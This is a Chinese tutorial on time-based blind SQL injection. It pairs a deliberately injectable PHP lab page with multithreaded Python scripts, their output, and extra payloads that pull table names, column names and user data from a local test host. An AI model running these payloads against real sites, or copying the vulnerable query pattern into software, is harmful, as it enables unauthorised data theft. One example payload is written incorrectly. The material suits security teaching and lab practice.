时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。
以下为本次实验测试的基于时间的数字型盲注漏洞代码,可以部署到本地进行配合脚本测试验证。
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db('sqltest');
?>
<html>
<head>
<meta charset="utf-8" />
<title>sql注入测试</title>
<style>
body{text-align:center}
</style>
</head>
<body>
<br />
<?php
$id=@$_GET['id'];
if($id==null){
$id="1";
}
mysql_query('set names utf8');
$sql = "SELECT * FROM users WHERE id=$id";
$result = mysql_query($sql,$conn);
if(!$result)
{
die('<p>error:'.mysql_error().'</p>');
}
$row = mysql_fetch_array($result);
if (!$row){
echo "该记录不存在";
echo $sql;
exit;
}
?>
<font size="10" face="Times">sql注入测试</font>
<table border='2' align="center">
<tr>
<td>id:<?php echo $id;?></td>
</tr>
<tr>
<td>账号:<?php echo $row['username'];?></td>
</tr>
<tr>
<td>密码:<?php echo $row['password'];?></td>
</tr>
<tr>
<td>sql内容: <?php echo $sql;?></td>
</tr>
</table>
</body>
</html>
导入所需的模块
# coding:utf-8
import requests
import datetime
import time
import threading
定义测试数据的长度范围
例:定义测试表名数据的长度总范围为1到15
list=[] # 测试表名数据长度的列表
for i in range(1,16): # range(1,16)实际数字范围是1到15
list.append(i)
测试结果
print(list)
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
定义单个线程工作量
例:定义单个线程的工作量为3
t_num = 3
分配每个线程的测试范围
例:由于测试表名数据长度为1到15,一共15个数据,而单个线程数为3,所以一共会产生5个线程数;如果不能刚好分配完,则多余的部分会新生成一个单独的线程
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] # 每个线程的测试范围列表
测试结果
print(t_list)
[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12], [13, 14, 15]]
构造payload
通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果
?id=1 and sleep(if((select length(table_name)=要猜表名的长度 from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))
例子:猜当前数据库下的第1个表名长度是否为5。
?id=1 and sleep(if((select length(table_name)=5 from information_schema.tables where table_schema=database() limit 0,1),0,1))
定义要获取表名的数量
例:指定获取当前数据库下的前5个表名的长度
table_num=[0,1,2,3,4] # 0表示第一个表,1表示第二个表...
编辑功能函数
例:该函数会判断并返回当前数据库下的前5个表名长度
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d个表" % (j + 1) # 当前的表名序号
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('[+] %s长度为:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass
定义接收返回表名长度结果的字典
res_table_lens = {}
定义线程工作列表
theads_list=[]
添加线程到线程工作列表
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))
执行线程列表中的线程
for k in theads_list:
k.start()
# coding:utf-8
import requests
import datetime
import time
import threading
# 定义测试的长度范围
list=[] # 测试数据长度的列表
for i in range(1,16):
list.append(i)
# 定义单个线程的工作量为3
t_num=3
# 每个线程的测试范围列表
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)]
# 定义接收的表名长度字典
res_table_lens = {}
# 添加线程工作列表
theads_list=[]
#定义要获取表名的数量
table_num=[0,1,2,3,4]
# 功能函数
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d个表" % (j + 1) # 当前的表名序号
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('%s长度为:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass
# 添加线程到线程列表
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))
# 执行线程列表中的线程
for k in theads_list:
k.start()
运行结果
[+] 第1个表长度为: 4
{'第1个表': 4}
[+] 第2个表长度为: 4
{'第1个表': 4, '第2个表': 4}
[+] 第3个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5}
[+] 第4个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5}
[+] 第5个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5, '第5个表': 5}
导入所需的模块
# coding:utf-8
import requests
import datetime
import time
import threading
定义表名的长度列表
在上一个获取表名长度步骤中,已经得到了前5个表名长度分别为:
第1个表长度为4
第2个表长度为4
第3个表长度为5
第4个表长度为5
第5个表长度为5
将这5个表按先后顺序定义成一个列表
res_table_lens=[4,4,5,5,5]
定义线程的数量
例:定义线程的数量为5个,每一个线程对应获取一个表名
这样就可以在统一时间内同时获取5个表名,如果没有多线程的话,就得一个完接一个的获取表名。
theads_table_num=[0,1,2,3,4]
构造payload
通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果
?id=1 and sleep(if((select mid(table_name,要猜的表名的第几位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))
例子:猜当前数据库下的第1个表名的第1个字符是否为u。
?id=1 and sleep(if((select length(table_name)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))
编辑功能函数
例:该函数会判断并返回当前数据库下的前5个表名
def table_name(len,k):
name = ''
now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
now_table = "第%d个表" % (k + 1) # 当前的表名序号
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)
定义接收返回表名结果字典
res_table_name= {}
定义线程工作列表
theads_list=[]
添加线程到线程工作列表
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))
执行线程列表中的线程
for k in theads_list:
k.start()
# coding:utf-8
# coding:utf-8
import requests
import datetime
import time
import threading
# 添加线程工作列表
theads_list=[]
# 定义每一个表名对应的长度列表
res_table_lens=[4,4,5,5,5]
# 定义要获取表名的数量
theads_table_num=[0,1,2,3,4]
# 定义接收的表名字典
res_table_name= {}
def table_name(len,k):
name = ''
now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
now_table = "第%d个表" % (k + 1) # 当前的表名序号
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)
# 添加线程到线程列表
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))
# 执行线程列表中的线程
for k in theads_list:
k.start()
运行结果
[+] 第1个线程--->第1个表: n
[+] 第2个线程--->第2个表: p
[+] 第3个线程--->第3个表: t
[+] 第4个线程--->第4个表: t
[+] 第5个线程--->第5个表: u
[+] 第1个线程--->第1个表: ne
[+] 第4个线程--->第4个表: te
[+] 第3个线程--->第3个表: te
[+] 第2个线程--->第2个表: po
[+] 第5个线程--->第5个表: us
[+] 第1个线程--->第1个表: new
[+] 第4个线程--->第4个表: tes
[+] 第3个线程--->第3个表: tes
[+] 第5个线程--->第5个表: use
[+] 第2个线程--->第2个表: pos
[+] 第1个线程--->第1个表: news
{'第1个表': 'news'}
[+] 第5个线程--->第5个表: user
[+] 第4个线程--->第4个表: test
[+] 第3个线程--->第3个表: test
[+] 第3个线程--->第3个表: test1
{'第1个表': 'news', '第3个表': 'test1'}
[+] 第4个线程--->第4个表: test2
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2'}
[+] 第2个线程--->第2个表: post
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post'}
[+] 第5个线程--->第5个表: users
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post', '第5个表': 'users'}
综上,本文总结了如何编写自动化脚本获取表名长度,进而获取表名。接下来就是要获取表名下的字段长度,然后获取字段名,最后获取字段值长度和字段值数据。这些步骤基本上与获取表名长度和表名一致,只是构造的payload不同,然后再根据payload稍稍改动小部分代码即可获取到想要的内容,这里就不一一编写了。
最后提供下测试代码剩余完整的payload,有兴趣的可以自行编写对应的自动化python脚本。
判断字段名长度payload
# 判断users表的第一个字段名长度是否为5
?id=1 and sleep(if((select length(column_name)=5 from information_schema.columns where table_name='users' limit 0,1),0,3))
判断字段名payload
# 判断users表的第一个字段名的第一位是否为u
?id=1 and sleep(if((select mid(column_name,1,1)='u' from information_schema.columns where table_name='users' limit 0,1),0,3))
判断字段值长度payload
# 判断users表的username字段的第一个字段值是否为5
?id=1 and sleep(if((select length(username)=5 from users limit 0,1),0,3))
判断字段值数据payload
# 判断users表的username字段的第一个字段值的第一位是否为u
?id=1 and sleep(if((select mid(username,1,1)='u' from users limit 0,1),0,3))